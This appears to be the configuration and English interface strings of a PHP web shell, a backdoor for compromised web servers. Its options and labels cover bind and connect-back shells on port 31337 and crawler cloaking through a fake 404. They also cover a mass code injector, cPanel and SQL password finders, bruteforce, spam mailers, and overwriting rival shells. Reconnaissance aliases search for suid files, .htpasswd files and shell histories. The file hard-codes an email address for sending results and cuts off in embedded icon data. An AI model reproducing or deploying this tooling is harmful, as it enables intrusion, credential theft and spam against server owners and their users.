/dev/null */
$config = array(
"version" => "2.0.2011.1009", /* build version. */
"auth" => array(
"use_auth" => 0, /* bool value, TRUE=[ Ask for login ] / FALSE=[ Don't ask ] */
"md5_user" => "098f6bcd4621d373cade4e832627b4f6",
"md5_pass" => "098f6bcd4621d373cade4e832627b4f6"),
"default_vars" => array(
"language" => "en", /* default lang, en=English */
"email" => "laabissi7@gmail.com", /* send results from specific tools to this address */
"default_sort" => "0a", /* column 0, a=Ascending d=Descending */
"default_act" => "tools", /* available: ls, search, upload, cmd, eval, sql, mailer, encoders, tools, processes, sysinfo */
"bind_port" => "31337", "bind_pass" => "P@55w0rd",
"backcon_port" => "31337",
"sql_host" => "localhost", "sql_user" => "root", "sql_db" => "mysql", "sql_table" => "users",
"ftp_user" => "anonymous", "ftp_pass" => "anonymous@ftp.com",
"downloada" => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR",
),
"banned" => array(
"agents" => array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"), /* This agents (matched in regexp) are not allowed */
"send_header" => 'HTTP/1.0 404 Not Found'), /* Will send this header and exit. */
"use_buffer" => 1, /* bool value, TRUE=[ Allow copy/paste ], FALSE=[..] */
"visual" => array(
"width" => "1024", /* Table width in pixels */
"images" => 1, /* bool value, TRUE=[ Show icons ] / FALSE=[ Don't show icons ] */
"skins" => array("dark","light"),
"default_skin" => "light", /* Default color skin */
"light" => array(
"bodybg"=>"#717678",
"tbarbg1"=>"#AAAAAA", "tbarbg2"=>"#BFBFBF", "tbarbordert"=>"#BBBBBB", "tbarborderb"=>"#AAAAAA",
"topbg1"=>"#BBBBBB", "topbg2"=>"#CCCCCC", "topborder1"=>"#CDCDCD", "topcolor"=>"#333333", "topshadow"=>"#DDDDDD",
"tlinkcolor"=>"#333333", "tlinkshadow"=>"#DDDDDD", "tlinkcolorhover"=>"#000000",
"qlbg1"=>"#CCCCCC", "qlbg2"=>"#AAAAAA", "qlborder"=>"#DDDDDD", "qlcolor"=>"#222222", "qlshadow"=>"#DDDDDD", "qlcolorhover"=>"#000000",
"footerbg1"=>"#CCCCCC", "footerbg2"=>"#AAAAAA", "footerborder1"=>"#BBBBBB", "footercolor"=>"#333333", "footershadow"=>"#DDDDDD",
"tablebg"=>"#F2F2F2", "tableshadow"=>"#666666", "tableborder"=>"#777777 ",
"errcolor"=>"#FF0000", "okcolor"=>"#008200", "normalcolor"=>"#333333", "dircolor"=>"#333333",
"fontfam"=>"'sans-serif',sans-serif", "fontcolor"=>"#525252",
"idirborder"=>"#2F7595", "idirbg1"=>"#93BED7", "idirbg2"=>"#63A0C7",
"ifileborder"=>"#cccccc", "ifilebg1"=>"#FFFFFF", "ifilebg2"=>"#DDDDDD",
"reg_self"=>"#7B7869", "reg_interesting"=>"#008200", "reg_bad"=>"#FF0000",
),
"dark" => array(
"bodybg"=>"#717678",
"tbarbg1"=>"#141414", "tbarbg2"=>"#111111", "tbarbordert"=>"#111111", "tbarborderb"=>"#000000",
"topbg1"=>"#111111", "topbg2"=>"#222222", "topborder1"=>"#222222", "topcolor"=>"#CCCCCC", "topshadow"=>"#000000",
"tlinkcolor"=>"#DDDDDD", "tlinkshadow"=>"#000000", "tlinkcolorhover"=>"#FFFFFF",
"qlbg1"=>"#222222", "qlbg2"=>"#111111", "qlborder"=>"#333333", "qlcolor"=>"#F3F3F3", "qlshadow"=>"#0A0A0A", "qlcolorhover"=>"#FFFFFF",
"footerbg1"=>"#141414", "footerbg2"=>"#111111", "footerborder1"=>"#333333", "footercolor"=>"#CCCCCC", "footershadow"=>"#000000",
"tablebg"=>"#F2F2F2", "tableshadow"=>"#444444", "tableborder"=>"#666666",
"errcolor"=>"#FF0000", "okcolor"=>"#008200", "normalcolor"=>"#333333", "dircolor"=>"#333333",
"fontfam"=>"'sans-serif',sans-serif", "fontcolor"=>"#525252",
"idirborder"=>"#2F7595", "idirbg1"=>"#93BED7", "idirbg2"=>"#63A0C7",
"ifileborder"=>"#cccccc", "ifilebg1"=>"#FFFFFF", "ifilebg2"=>"#DDDDDD",
"reg_self"=>"#7B7869", "reg_interesting"=>"#008200", "reg_bad"=>"#FF0000",
),
),
"reg_interesting"=>array(
"d"=>array('backup','admin'),/* highlight interesting dirs */
"f"=>array('conf(.*)\.php$','\.sql$','\.db$','auth(.*)\.php$')/* highlight interesting files */
),
"reg_bad"=>array(
"d"=>array('root'),/* highlight bad dirs */
"f"=>array('iptables','ipchains')/* highlight bad files */
),
);
$lang["en"]=array(
"0"=>"AUTHENTICATION REQUIRED",
"1"=>"USER",
"2"=>"PASS",
"3"=>"Connect",
"4"=>"SERVER WHOIS",
"5"=>"TRACEROUTE",
"6"=>"SELF REMOVE",
"7"=>"LOGOUT",
"8"=>"SYS",
"9"=>"KERNEL",
"10"=>"DISK TOTAL/FREE",
"11"=>"WEB SOFTWARE",
"12"=>"SAFE MODE",
"13"=>"OPEN BASEDIR",
"14"=>"CURL",
"15"=>"MYSQL",
"16"=>"MSSQL",
"17"=>"ORACLE",
"18"=>"POSTGRESQL",
"19"=>"ON",
"20"=>"OFF",
"21"=>"YES",
"22"=>"NO",
"23"=>"BACK",
"24"=>"FILES",
"25"=>"SEARCH",
"26"=>"UPLOAD",
"27"=>"CMD",
"28"=>"EVAL",
"29"=>"SQL",
"30"=>"MAILERS",
"31"=>"CALC",
"32"=>"TOOLS",
"33"=>"PROC",
"34"=>"SYSINFO",
"35"=>"FILE",
"36"=>"DIR",
"37"=>"Show All",
"38"=>"Dirs",
"39"=>"Files",
"40"=>"Archives",
"41"=>"Exes",
"42"=>"PHP",
"43"=>"Html",
"44"=>"Text",
"45"=>"Images",
"46"=>"Other",
"47"=>"Show Icons",
"48"=>"Hide Icons",
"49"=>"Enable Buffer",
"50"=>"Disable Buffer",
"51"=>"Empty Buffer",
"52"=>"Show Buffer",
"53"=>"Hide Buffer",
"54"=>"Paste Copy",
"55"=>"Paste Cut",
"56"=>"Paste All",
"57"=>"Name",
"58"=>"Size",
"59"=>"Modified",
"60"=>"Owner/Group",
"61"=>"Perms",
"62"=>"Action",
"63"=>"Select All",
"64"=>"None",
"65"=>"Inverse",
"66"=>"With Selected",
"67"=>"Copy",
"68"=>"Cut",
"69"=>"Unset Copy",
"70"=>"Unset Cut",
"71"=>"Unset All",
"72"=>"Delete",
"73"=>"Rename",
"74"=>"Functions",
"75"=>"Edit",
"76"=>"Download",
"77"=>"Confirm",
"78"=>"VIEWING FILE:",
"79"=>"Text",
"80"=>"Code",
"81"=>"Html",
"82"=>"Html-NoJS",
"83"=>"Execute",
"84"=>"Session",
"85"=>"Sdb",
"86"=>"INI",
"87"=>"Image",
"88"=>"Hexdump",
"89"=>"Browser Default",
"90"=>"STRING CONVERSIONS",
"91"=>"FUNCTION",
"92"=>"Submit",
"93"=>"CHANGE FILE'S PERMISSIONS:",
"94"=>"Owner",
"95"=>"Group",
"96"=>"World",
"97"=>"Read",
"98"=>"Write",
"99"=>"Execute",
"100"=>"Chmod",
"101"=>"OR ENTER VALUE",
"102"=>"OUTPUT",
"103"=>"CHANGE FILE'S TIMESTAMP",
"104"=>"COPY FROM FILE/DIR",
"105"=>"SET TIME MANUALLY",
"106"=>"Month",
"107"=>"Day",
"108"=>"Year",
"109"=>"Hour",
"110"=>"Min",
"111"=>"Sec",
"112"=>"Change",
"113"=>"Timestamp changed to [%1%]",
"114"=>"Failed to change timestamp",
"115"=>"REPLACE",
"116"=>"WITH",
"117"=>"Replace",
"118"=>"Reset",
"119"=>"Save",
"120"=>"PROGRAM LINE",
"121"=>"Full Hexdump",
"122"=>"Hexdump Preview",
"123"=>"CHANGE DIR'S PERMISSIONS:",
"124"=>"CHANGE DIR'S TIMESTAMP:",
"125"=>"BYPASS RESTRICTIONS - LIST DIR",
"126"=>"DIR TO LIST",
"127"=>"List Dir",
"128"=>"BYPASS RESTRICTIONS - READ FILE",
"129"=>"FILE TO READ",
"130"=>"Read File",
"131"=>"BYPASS RESTRICTIONS - READ FILE VIA SQL",
"132"=>"USERNAME",
"133"=>"PASSWORD",
"134"=>"PORT",
"135"=>"DATABASE",
"136"=>"[-] ERROR! Can't select database",
"137"=>"[-] ERROR! Can't connect to [%1%] server",
"138"=>"BYPASS RESTRICTIONS - WRITE FILE",
"139"=>"FILE TO WRITE",
"140"=>"FILE CONTENT",
"141"=>"Write File",
"142"=>"SEARCH FOR FILES AND DIRS USING PHP",
"143"=>"NAME/FIND/RECURSIVE",
"144"=>"Files",
"145"=>"Dirs",
"146"=>"Both",
"147"=>"Search",
"148"=>"use regexp on name",
"149"=>"SEARCH IN DIR",
"150"=>"FIND TEXT IN FILE",
"151"=>"use regexp on text",
"152"=>"whole words only",
"153"=>"case sensitive",
"154"=>"files not containing the text",
"155"=>"SEARCH TEXT IN FILES USING FIND",
"156"=>"TEXT TO FIND",
"157"=>"FIND IN FILES",
"158"=>"DEFINED/SEARCH IN",
"159"=>"show in file manager",
"160"=>"NOTHING FOUND",
"161"=>"UPLOAD LOCAL FILE",
"162"=>"LOCAL FILE",
"163"=>"OPTIONAL RENAME",
"164"=>"UPLOAD PATH",
"165"=>"FILE LOCATION",
"166"=>"MULTIPLE FILES",
"167"=>"UPLOAD FILE FROM REMOTE URL",
"168"=>"UPLOAD MULTIPLE FILES",
"169"=>"Form",
"170"=>"Upload",
"171"=>"Invalid file location: [%1%]",
"172"=>"Error uploading [%1%] (Can't move [%2%] to [%3%]",
"173"=>"File [%1%] uploaded to [%2%]",
"174"=>"Can't download file!",
"175"=>"Can't write to [%1%]",
"176"=>"File uploaded to [%1%]",
"177"=>"SEND FILE TO E-MAIL",
"178"=>"SEND TO",
"179"=>"Send",
"180"=>"COMMAND",
"181"=>"DEFINED",
"182"=>"EXECUTE PHP CODE",
"183"=>"Execute PHP Code",
"184"=>"Display Result in Textarea",
"185"=>"FTP MANAGER",
"186"=>"HOST:PORT",
"187"=>"USER",
"188"=>"PASS",
"189"=>"Connect",
"190"=>"Passive",
"191"=>"Can't connect",
"192"=>"PHP-SHELL",
"193"=>"FTP",
"194"=>"NEW DIR",
"195"=>"Create",
"196"=>"Disconnect",
"197"=>"Upload",
"198"=>"Download",
"199"=>"Delete",
"200"=>"DOWNLOAD FILE FROM REMOTE FTP",
"201"=>"UPLOAD FILE TO REMOTE FTP",
"202"=>"HOST:PORT",
"203"=>"USER:PASS",
"204"=>"FILE ON FTP",
"205"=>"LOCAL FILE",
"206"=>"Upload File",
"207"=>"Download File",
"208"=>"File uploaded.",
"209"=>"Can't upload file.",
"210"=>"File downloaded.",
"211"=>"Can't download file.",
"212"=>"PHP SIMPLE MAILER",
"213"=>"PHP CSV MAILER",
"214"=>"FROM NAME",
"215"=>"FROM E-MAIL",
"216"=>"E-MAIL SUBJECT",
"217"=>"REPLACE",
"218"=>"WITH",
"219"=>"IN",
"220"=>"E-MAIL COL",
"221"=>"COL PREFIX",
"222"=>"REPLACE IN",
"223"=>"Select Value",
"224"=>"From Name",
"225"=>"From E-mail",
"226"=>"Receiver's E-mail",
"227"=>"Receiver's E-mail - hash",
"228"=>"Subject",
"229"=>"Message",
"230"=>"Subject and Message",
"231"=>"Random \"FROM E-MAIL\" usernames",
"232"=>"Random Message-ID domains",
"233"=>"Send E-mails",
"234"=>"Preview (Don't send)",
"235"=>"Show replaced values",
"236"=>"INCOMPLETE DATA",
"237"=>"NO",
"238"=>"RECEIVER",
"239"=>"SENDER",
"240"=>"MESSAGE-ID",
"241"=>"STATUS",
"242"=>"REPLACING",
"243"=>"Success",
"244"=>"Failed",
"245"=>"Test",
"246"=>"HASH TYPE",
"247"=>"ENTER HASH",
"248"=>"Submit",
"249"=>"Calculate",
"250"=>"Clear Input",
"251"=>"POSSIBLE",
"252"=>"Link",
"253"=>"IP ADDRESS ENCODER",
"254"=>"ENTER IP",
"255"=>"LONG IP",
"256"=>"HEX IP",
"257"=>"OCTAL IP",
"258"=>"SELECT HASH",
"259"=>"ENTER INPUT",
"260"=>"All",
"261"=>"HASH OUTPUT",
"262"=>"STRING CONVERSIONS OUTPUT",
"263"=>"Clear Output",
"264"=>"Send Output to Input",
"265"=>"BIND SHELL",
"266"=>"CONNECT BACK",
"267"=>"PASS:PORT:SRC",
"268"=>"Bind",
"269"=>"Found [%1%] of our backdoor tools in tempdir. Consider deleting tools after using them. ",
"270"=>"Delete Now",
"271"=>"Can't write sources!",
"272"=>"Unknown file!",
"273"=>"Executed. Can't connect to [%1%]!",
"274"=>"OK! Connect to [%1%]:[%2%]!",
"275"=>"Port [%1%] already in use!",
"276"=>"OK! The script is now connecting to [%1%]:[%2%]",
"277"=>"PORTSCAN",
"278"=>"HOST:PORT RANGE",
"279"=>"Scan",
"280"=>"VALID RANGE 0-65535",
"281"=>"PHP-SHELL HUNTER",
"282"=>"ACTION:RECURSIVE",
"283"=>"FUNCTION:START PATH",
"284"=>"View known shells only",
"285"=>"View known shells + possible",
"286"=>"Overwrite known shells with RC-Shell",
"287"=>"Overwrite all with RC-Shell",
"288"=>"PHP-SHELL RESULTS",
"289"=>"PORTSCAN RESULT",
"290"=>"Owned",
"291"=>"Can't own it",
"292"=>"FILE NAME",
"293"=>"SHELL TYPE OR VERSION",
"294"=>"EXTERNAL LINK",
"295"=>"FILE ACTIONS / OVERWRITE",
"296"=>"View in Browser",
"297"=>"RC-OVERWRITE",
"298"=>"CPANEL / PASSWORD FINDER",
"299"=>"HOST:USER:SERVICE",
"300"=>"FILES:METHOD:RECURSIVE",
"301"=>"FUNCTION:DEFINED PATH",
"302"=>"SEND LOG TO",
"303"=>"Don't login (create passfile)",
"304"=>"user + DEFINED PATH",
"305"=>"user + DOCUMENT ROOT",
"306"=>"/etc/passwd + USER HOMES",
"307"=>"Find Passwords",
"308"=>"CPANEL / PASSWORD FINDER RESULTS",
"309"=>"MASS CODE INJECTOR",
"310"=>"FILES:POS:RECURSIVE",
"311"=>"FUNCTION:START IN PATH",
"312"=>"CODE TO INJECT",
"313"=>"Inject Files",
"314"=>"CODE INJECTED IN FILES BELOW",
"315"=>"FIND SQL CREDENTIALS",
"316"=>"USER NAME:TYPE",
"317"=>"PASS NAME:TYPE",
"318"=>"DB NAME:TYPE",
"319"=>"HOST NAME:TYPE",
"320"=>"*SOFTWARE:PASSWORD",
"321"=>"FILES:WHERE:RECURSIVE",
"322"=>"FUNCTION:DEFINED PATH",
"323"=>"Find Credentials",
"324"=>"MySQL Test",
"325"=>"DEFINED PATH",
"326"=>"DOCUMENT ROOT",
"327"=>"USER HOMES",
"328"=>"required",
"329"=>"optional",
"330"=>"SQL CREDENTIALS",
"331"=>"HOST",
"332"=>"USER",
"333"=>"PASS",
"334"=>"DATABASE",
"335"=>"ACTION",
"336"=>"MySQL Connect",
"337"=>"BRUTEFORCE / DICTIONARY ATTACK",
"338"=>"HOST:PORT:SERVICE",
"339"=>"USERNAME:DATABASE",
"340"=>"DICTIONARY",
"341"=>"TEST METHOD",
"342"=>"ALSO TEST",
"343"=>"username and dictionary",
"344"=>"/etc/passwd (user:user)",
"345"=>"/etc/passwd and dictionary",
"346"=>"Start Bruteforce",
"347"=>"[%1%] BRUTEFORCE RESULT",
"348"=>"SYSTEM PROCESSES",
"349"=>"SENDING SIGNAL [%1%] TO #[%2%].. ",
"350"=>"KILLED",
"351"=>"CAN'T KILL IT",
"352"=>"Databases",
"353"=>"Query",
"354"=>"Extract E-mails",
"355"=>"Server Status",
"356"=>"Server Variables",
"357"=>"Processes",
"358"=>"Disconnect",
"359"=>"DATABASES",
"360"=>"Database Name",
"361"=>"Size",
"362"=>"Tables",
"363"=>"Database Actions",
"364"=>"DATABASE",
"365"=>"TABLE",
"366"=>"DATABASE [%1%]",
"367"=>"Databases ([%1%])",
"368"=>"Table Name",
"369"=>"Table Actions",
"370"=>"SQL QUERY",
"371"=>"Submit Query",
"372"=>"EXTRACT E-MAILS",
"373"=>"SEARCH TABLES
COMMA (,) SEPARATED
LEAVE EMPTY FOR ALL",
"374"=>"FILE NAME",
"375"=>"SAVE E-MAILS TO FILE",
"376"=>"DOWNLOAD RESULTS",
"377"=>"Extract E-mails",
"378"=>"SERVER STATUS",
"379"=>"SERVER VARIABLES",
"380"=>"Name",
"381"=>"Value",
"382"=>"PROCESSES",
"383"=>"ID",
"384"=>"USER",
"385"=>"HOST",
"386"=>"DATABASE",
"387"=>"COMMAND",
"388"=>"TIME",
"389"=>"STATE",
"390"=>"INFO",
"391"=>"ACTION",
"392"=>"KILL",
"393"=>"PROCESS #[%1%] KILLED",
"394"=>"QUERY RESULT",
"395"=>"BROWSING TABLE [%1%] ( [%2%] cols and [%3%] rows )",
"396"=>"Previous",
"397"=>"Page",
"398"=>"Go",
"399"=>"Next",
"400"=>"INSERT INTO TABLE [%1%]",
"401"=>"Field",
"402"=>"Type",
"403"=>"Function",
"404"=>"Value",
"405"=>"Insert as new row",
"406"=>"or",
"407"=>"Save",
"408"=>"Confirm",
"409"=>"TOTAL DATABASES [%1%]",
"410"=>"QUICK SQL TABLE DUMP",
"411"=>"SQL TYPE",
"412"=>"HOST:PORT",
"413"=>"USER:PASS",
"414"=>"DB.TABLE",
"415"=>"FILE NAME",
"416"=>"DOWNLOAD RESULTS",
"417"=>"SAVE DUMP TO FILE",
"418"=>"Dump",
"419"=>"Can't connect to SQL server",
"420"=>"QUICK SQL QUERY",
"421"=>"DB",
"422"=>"Query",
"423"=>"QUERY #[%1%] : [%2%]",
"424"=>"NONE",
"425"=>"Chdir",
"426"=>"Total: [%1%]",
"427"=>"Success: [%1%]",
"428"=>"Failed: [%1%]",
"429"=>"Used: [%1%]",
"430"=>"Not Available",
"431"=>"The following e-mails were not sent",
"432"=>"HASH CALCULATOR",
"433"=>"STRING CONVERSIONS",
"434"=>"HOST:PORT:SRC",
"435"=>"Connect",
"436"=>"Find Shells",
"437"=>"DO YOU REALLY WANT TO DROP DATABASE \"[%1%]\" ? ",
"438"=>"DO YOU REALLY WANT TO DROP TABLE \"[%1%]\" ? ",
"439"=>"DO YOU REALLY WANT TO EMPTY TABLE \"[%1%]\" ? ",
"440"=>"SQL DUMP",
"441"=>"DATABASE",
"442"=>"DUMP TABLES
COMMA (,) SEPARATED
LEAVE EMPTY FOR ALL",
"443"=>"FILE NAME",
"444"=>"SAVE DUMP TO FILE",
"445"=>"DOWNLOAD RESULTS",
"446"=>"Dump",
"447"=>"Can't select database",
"448"=>"Nothing to dump",
"449"=>"Dumped to [%1%]",
"450"=>"Can't write to file.",
"451"=>"SQL MANAGER",
"452"=>"HOST:PORT",
"453"=>"USER",
"454"=>"PASS",
"455"=>"DB",
"456"=>"TYPE",
"457"=>"Connect",
"458"=>"Can't create dump",
"459"=>"Dumped",
"460"=>"SELF REMOVE",
"461"=>"DO YOU REALLY WANT TO DELETE ME? ",
"462"=>"GOOD BYE",
"463"=>"Can't delete [%1%]",
"464"=>"CAN'T LIST [%1%]",
"465"=>"Free: [%1%]",
"466"=>"FILE [%1%] DOESNT EXIST.",
"467"=>"YOU ARE TRYING TO OPEN A DIRECTORY AS A FILE ([%1%])",
"468"=>"TARGET ALREADY EXISTS (DIRECTORY [%1%])",
"469"=>"FILE NOT SPECIFIED",
"470"=>"Return",
"471"=>"Your browser doesnt support iframes.",
"472"=>" (CWD SPECIFIED AS A FILE)",
"473"=>"RENAME [%1%]",
"474"=>"RENAMED TO [%1%]",
"475"=>"CANNOT RENAME [%1%]",
"476"=>"EXTRACTED ZIP ARCHIVE [%1%]",
"477"=>"CANNOT EXTRACT [%1%]",
"478"=>"Extract [%1%]",
"479"=>"GENERAL INFORMATION",
"480"=>"PHP INFORMATION",
"481"=>"OTHER USEFULL STUFF",
"482"=>"Interesting files",
"483"=>"Interesting configs",
"484"=>"Interesting bins",
"485"=>"Scripting languages",
"486"=>"PAGE GENERATED IN [%1%] SECONDS",
"undefined"=>"?",
);
$winaliases=array(
''=>'dir',
'- show open ports'=>'netstat -nat',
'- running programs'=>'tasklist -v',
'- running services'=>'net start',
'- show users'=>'net user',
'- show computers'=>'net view',
'- arp table'=>'arp -a',
'- ip config'=>'ipconfig /all',
'- mac address'=>'getmac',
'- systeminfo'=>'systeminfo',
'- file associations'=>'assoc'
);
$nixaliases=array(
''=>'ls -la',
'console downloaders'=>'which wget GET ftp curl w3m lynx',
'cpu info'=>'cat /proc/version /proc/cpuinfo',
'gcc compiler'=>'locate gcc',
'logged in users'=>'w',
'active users (from lastlog)'=>'lastlog|grep -v \'\\*\\*\'',
'last logins (last -a)'=>'last -a',
'users without password'=>'cut -d: -f1,2,3 /etc/passwd | grep ::',
'list file attributes'=>'lsattr -va',
'show open ports (from netstat)'=>'netstat -nat | grep -i listen',
'active connections (from lsof)'=>'lsof -i',
);
$findaliases=array(
'find suid files'=>'find %path% -type f -perm -04000 -ls 2>/dev/null',
'find sgid files'=>'find %path% -type f -perm -02000 -ls 2>/dev/null',
'find writable dirs'=>'find %path% -perm -2 -type d -ls 2>/dev/null',
'find writable files'=>'find %path% -perm -2 -type f -ls 2>/dev/null',
'find writable links'=>'find %path% -perm -2 -type l -ls 2>/dev/null',
'find writable dirs/files/links'=>'find %path% -perm -2 -ls 2>/dev/null',
'find config* files'=>'find %path% -type f -name \'config*\'',
'find config.php files'=>'find %path% -type f -name config.php',
'find config.inc.php files'=>'find %path% -type f -name config.inc.php',
'find service.pwd files'=>'find %path% -type f -name service.pwd',
'find .htpasswd files'=>'find %path% -type f -name .htpasswd',
'find .bash history'=>'find %path% -type f -name .bash_history',
'find .mysql history'=>'find %path% -type f -name .mysql_history',
'find fetchmailrc'=>'find %path% -type f -name .fetchmailrc'
);
$filealiases=array(
'html'=>array('html','htm','shtml'),
'text'=>array('html','htm','shtml','css','js','txt','conf','bat','bak','doc','log','sfc','cfg','readme','todo','changelog','makefile','cmake','copying','authors','motd','news','install','about','htaccess'),
'exe'=>array('sh','bat','cmd','exe','pl','py'),
'ini'=>array('ini','inf'),
'code'=>array('php','phtml','php3','php4','php5','pl','cgi','c', 'cc', 'cpp', 'h', 'hpp', 'icl', 'ipp'),
'img'=>array('gif','png','jpeg','jfif','jpg','jpe','bmp','ico','tif','tiff'),
'sdb'=>array('sdb'),
'sess'=>array('sess'),
'download'=>array('sql','3g2','3ga','3gp','3gpp','669','7z','aac','ac3','ace','aif','aifc','aiff','amr','ape','arj','asf','asx','au','avi','awb','axa','axv','bdm','bdmv','bz','bz2','cab','clpi','com','cpi','doc','dot','divx','dmg','dv','exe','fla','flac','flc','fli','flv','gsm','gz','iso','it','kar','lha','lnk','lzh','m15','m2t','m2ts','m3u','m3u8','m4a','m4b','m4v','med','mid','midi','minipsf','mka','mkv','mng','mo3','mod','moov','mov','movie','mp+','mp2','mp3','mp4','mpc','mpe','mpeg','mpg','mpga','mpl','mpls','mpp','mtm','mts','nrg','nsv','oga','ogg','ogm','ogv','pbk','pif','pla','pls','psf','psflib','psid','qt','qtvr','r00','ra','rar','rax','rv','rvx','s3m','sid','snd','spx','src','stm','swf','tar','tbz','tbz2','tgz','ts','tta','ult','uni','uu','uuf','viv','vivo','vlc','vob','voc','wav','wax','wma','wmv','wmx','wri','wv','xla','xlc','xld','xlsb','xll','xlm','xls','xlt','xlsm','xlw','xltm','wvc','wvp','wvx','xi','xm','xmf','xxe','zip')
);
$execaliases=array(
'sh %f%'=>array('sh'),
'perl %f%'=>array('pl','cgi'),
'python %f%'=>array('py'),
'php %f%'=>array('php','php3','php4','php5')
);
$getaliases=array(
'wget'=>'[%1%] [%2%] -O [%3%]',
'fetch'=>'[%1%] -p [%2%] -o [%3%]',
'lynx'=>'[%1%] -source [%2%] > [%3%]',
'links'=>'[%1%] -source [%2%] > [%3%]',
'GET'=>'[%1%] [%2%] > [%3%]',
'curl'=>'[%1%] [%2%] -o [%3%]'
);
$index=array(
"xls"=>array('xla','xlc','xld','xlsb','xll','xlm','xls','xlt','xlsm','xlw','xltm'),
"pl"=>array("pl","cgi"),
"diz"=>array("diz","inf"),
"h"=>array("h","hpp"),
"iso"=>array("iso","nrg","dmg"),
"tar"=>array("tar","r00","ace","arj","bz","bz2","tbz","tbz2","tgz","uu","xxe","zip","cab","gz","lha","lzh","pbk","rar","uuf","7z"),
"php"=>array("php","php3","php4","php5","phtml","shtml"),
"jpg"=>array("jpg","gif","png","jpeg","jfif","jpe","bmp","ico","tif","tiff"),
"html"=>array("html","htm","asp","xhtml"),
"avi"=>array('ogm','mpeg','bdmv','qtvr','ogv','cpi','m2ts','movie','asf','mpls','mkv','avi','rvx','qt','mp2','mp4','divx','mng','axv','rv','mov','moov','mpe','mpl','mpg','ts','nsv','3g2','3ga','mts','m2t','3gp','3gpp','vivo','m4v','flc','bdm','fli','viv','flv','wmv','clpi','vob','dv','ogg'),
"doc"=>array("doc","dot","wri"),
"txt"=>array("txt","log","conf","cfg","vbs","ini"),
"js"=>array("js"),
"cmd"=>array("cmd","bat","pif","exe","sh","makefile"),
"wri"=>array("wri","rtf"),
"swf"=>array("swf","fla"),
"mp3"=>array('amr','m3u8','med','spx','spx','kar','mpga','pla','it','ape','tta','pls','stm','mid','s3m','asx','mka','awb','psf','aifc','mo3','aiff','mp+','axa','mp2','mp3','ra','mod','wav','wax','mpc','midi','mpp','m15','psid','wv','mtm','xi','xm','m3u','m4b','m4a','aac','ac3','xmf','rax','minipsf','wma','wmx','vlc','ult','669','sid','voc','gsm','au','uni','flac','aif','snd','psflib','wvc','oga','wvp','ogg','wvx'),
"cpp"=>array("cpp","c","cc","cxx"),
"css"=>array('css'),
"htaccess"=>array("htaccess","htpasswd","ht","hta"),
);
$images=array(
"ok"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAADoSURBVDiNrZOxboNADIY/08CAunTIQBakSLRbH6Qv0XfrQ/QBmLM1iqIMERnaDqxcJsBdOHQhXJOI/JJ1Z8v32z7boqpMQTDpNTDz2OfA08BmgO8zT1Udkwz4BUoreZ6/qqoMfX0ZAByA0CpJktSXSlgAj45+dAk6ZN1ZAT8A4nThWUQ+Hec94LZoCUhX9huwG2YA8DWWZof1pRJs2jfhrgSVqq6sEobhS13XD1Y3xmziOO597UU8o5yJyDvQExRF8ZGm6ZbTj/XPQRAEx7Zte4IoikYj+QiqpmlKTnfFDKP/V8LVmLyNf9lXY6ltlYsrAAAAAElFTkSuQmCC",
"cancel"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHlSURBVDiNpZPPa9NwGMafLkn3HVkDapMsAxEKbbdBmafSi3eZjkXBH8yTMGGwQ4/7CwaDnXqdB0/dFmWhhQqyywZeJJc5ehiYMZAeSlqt0EUy2qavB1sJkSLSF97Lw/t8+PI8fCNEhHFmYiz3CIACIAFADGjiQFP+BZjZy2X17SlWvjCM9MAoXhhGenuKlfdyWR3ATNAQCWSgGPdyeuPzWUHleVbzfXvl9ZvnAFB+9fLgNsclnV7vWrm7mH/28VMJQCMMSBTnU6bWbi1yEeDK7+Oy07MBIBHlkzFuAj4Bdenm2YvzL48BXIYBYsepr1T1+/luw8kCQLvnAwAkngMACIpqZUofClFVKwP4GQYAgNRxnIf20wf5zrffkOFE46qVfPu+EFXVCoD2qBB959Sya543zRiP4NY8b9o5tWwA/qgWxHrFTB9vrBXlvrcwyQQEV+57C8cba8V6xRy281cLiXeZO6X5WDRzgwkAAO6WbAGA/72ZBYAf112cX3WqT6pf9WGIwRe4S1s7+1o85jImQJzVLHn3sCDvHhbEWc1iTIAWj7lLWzv7ANw/LiIK7lz3yNx015dPqNVcJSKJiCRqNVfd9eWT7pG5SURzQU8YACJKEdGjgXmoSQMtFb4P1/jfM/Zv/AXVzv8RqSjGwgAAAABJRU5ErkJggg==",
"small_home"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAAd0SU1FB9oIEwwzMaECujcAAAHfSURBVDjLlZI9a1RREIafc+/Zm4vJLnZqKVY2QREXQcEitikC9jYBBcu0KdPmN0hgsRFsBP+AhsAWpkw2RBAhEgORDexm7545Z8Zio+ayUcwLp5l55jAfrzMz7q69ewM8pa73wNL26mLgH3JnH9iDm9exzE2iCr3DE/qj0yEQL6gz4PX26uJL96LTfdTdP/wwf8NPUZpAbbpaDXrHSe/fuvbYRwnra0t3mCsLLqNBFbK3n76u+6ix/X0w5vPxcAqaaeRYMoLqVG5uxhM1tn2KwkklU8CVwpObQQYuzzkN9VWcVEKKgq9EEakPOlvkODVebe4A8OzhbQqXMQypxlWiZKJGSPr7lUVG5mBjcwcrm1jZZGNzh8xBWWQ1VtTIqqhEhaiTtj3Q2drFyiatsqBVFljZpLO1iz8b7RdfRSVTi0RTcu9oOKPzcZdRNFrnrtIqC0Zxkms4I/eOaIpaJBMRJBqSjKLhWV6YR8J4aqkSxiwvzFM0PJJsUiNCllJCkjEYRXpHQ2LSv94+JqV3NGQwikgyUkp4ESE5q7kM4ODbwYUOPM+KCF5jYBz/BPsh8vzJvQs76IdYYzUGvGjqHh3/aF+dnQNg7yD8l5X7wwGiqeuTjFf2v+ytA20upy6w8hMQ/yfbalvVkgAAAABJRU5ErkJggg==",
